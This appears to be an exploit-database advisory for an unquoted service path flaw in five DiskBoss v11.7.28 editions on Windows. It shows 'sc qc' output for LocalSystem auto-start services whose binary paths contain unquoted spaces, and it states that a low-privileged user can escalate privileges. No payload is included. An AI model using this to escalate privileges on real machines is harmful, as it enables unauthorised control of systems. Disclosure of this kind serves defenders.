Diskboss v11.7.28 multiple services unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-09 | Type : local | Platform : windows

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# Exploit Title: DiskBoss v11.7.28 - Multiple Services Unquoted Service Path
# Date: 2020-8-20
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.diskboss.com/
# Software Link: https://www.diskboss.com/downloads.html
# Version: v11.7.28
# Tested on: Microsoft Windows Server 2019 Standard 10.0.17763 N/A Build 17763

# Product | Version
# DiskBoss v11.7.28
# DiskBoss Pro v11.7.28
# DiskBoss Ultimate v11.7.28
# DiskBoss Server v11.7.28
# DiskBoss Enterprise v11.7.28

# All the listed products are vulnerable to Unquoted Service path. Any low privileged user can elevate their privileges using any of these services.

# Services info:

C:\Users\m507>sc qc "DiskBoss Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DiskBoss Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\DiskBoss\bin\diskbsa.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DiskBoss Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>

C:\Users\m507>sc qc "DiskBoss Enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DiskBoss Enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\DiskBoss Enterprise\bin\diskbss.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DiskBoss Enterprise
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>

C:\Users\m507>sc qc "DiskBoss Ultimate Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DiskBoss Ultimate Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\DiskBoss Ultimate\bin\diskbsa.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DiskBoss Ultimate Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>

C:\Users\m507>sc qc "DiskBoss Server"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DiskBoss Server
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\DiskBoss Server\bin\diskbss.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DiskBoss Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>

C:\Users\m507>sc qc "DiskBoss Pro Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DiskBoss Pro Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\DiskBoss Pro\bin\diskbsa.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DiskBoss Pro Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.